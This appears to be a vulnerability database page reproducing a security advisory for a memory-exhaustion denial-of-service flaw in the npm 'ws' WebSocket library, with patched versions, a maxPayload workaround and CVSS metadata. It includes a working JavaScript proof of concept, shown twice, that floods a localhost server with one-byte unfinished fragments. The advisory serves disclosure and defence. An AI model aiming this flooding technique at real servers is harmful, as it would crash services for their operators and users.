GHSA-96HV-2XVQ-FX4P

Vulnerability from github – Published: 2026-06-15 16:34 – Updated: 2026-06-15 16:34
VLAI
Summary
ws: Memory exhaustion DoS from tiny fragments and data chunks
Details

Impact

A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.

Proof of concept

import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 0 }, function () {
  const data = Buffer.alloc(1);
  const options = { fin: false };
  const { port } = wss.address();
  const ws = new WebSocket(`ws://localhost:${port}`);

  ws.on('open', function () {
    (function send() {
      ws.send(data, options, function (err) {
        if (err) return;
        send();
      });
    })();
  });

  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`client close - code: ${code} reason: ${reason.toString()}`);
  });
});

wss.on('connection', function (ws) {
  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`server close - code: ${code} reason: ${reason.toString()}`);
  });
});

Patches

The vulnerability was fixed in ws@8.21.0 (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to ws@7.5.11 (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), ws@6.2.4 (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and ws@5.2.5 (https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53).

Workarounds

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

Credits

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "ws"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.1.0"
            },
            {
              "fixed": "5.2.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "ws"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "fixed": "6.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "ws"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.5.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "ws"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.21.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48779"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-15T16:34:23Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\n\nA high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.\n\n### Proof of concept\n\n```js\nimport { WebSocket, WebSocketServer } from \u0027ws\u0027;\n\nconst wss = new WebSocketServer({ port: 0 }, function () {\n  const data = Buffer.alloc(1);\n  const options = { fin: false };\n  const { port } = wss.address();\n  const ws = new WebSocket(`ws://localhost:${port}`);\n\n  ws.on(\u0027open\u0027, function () {\n    (function send() {\n      ws.send(data, options, function (err) {\n        if (err) return;\n        send();\n      });\n    })();\n  });\n\n  ws.on(\u0027error\u0027, console.error);\n  ws.on(\u0027close\u0027, function (code, reason) {\n    console.log(`client close - code: ${code} reason: ${reason.toString()}`);\n  });\n});\n\nwss.on(\u0027connection\u0027, function (ws) {\n  ws.on(\u0027error\u0027, console.error);\n  ws.on(\u0027close\u0027, function (code, reason) {\n    console.log(`server close - code: ${code} reason: ${reason.toString()}`);\n  });\n});\n```\n\n### Patches\n\nThe vulnerability was fixed in ws@8.21.0 (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to ws@7.5.11 (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), ws@6.2.4 (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and ws@5.2.5 (https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53).\n\n### Workarounds\n\nIn vulnerable versions, the issue can be mitigated by lowering the value of the `maxPayload` option if possible.\n\n### Credits\n\nThe vulnerability was responsibly disclosed and fixed by [Nadav Magier](https://github.com/Nadav0077).",
  "id": "GHSA-96hv-2xvq-fx4p",
  "modified": "2026-06-15T16:34:23Z",
  "published": "2026-06-15T16:34:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p"
    },
    {
      "type": "WEB",
      "url": "https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53"
    },
    {
      "type": "WEB",
      "url": "https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94"
    },
    {
      "type": "WEB",
      "url": "https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/websockets/ws"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ws: Memory exhaustion DoS from tiny fragments and data chunks"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…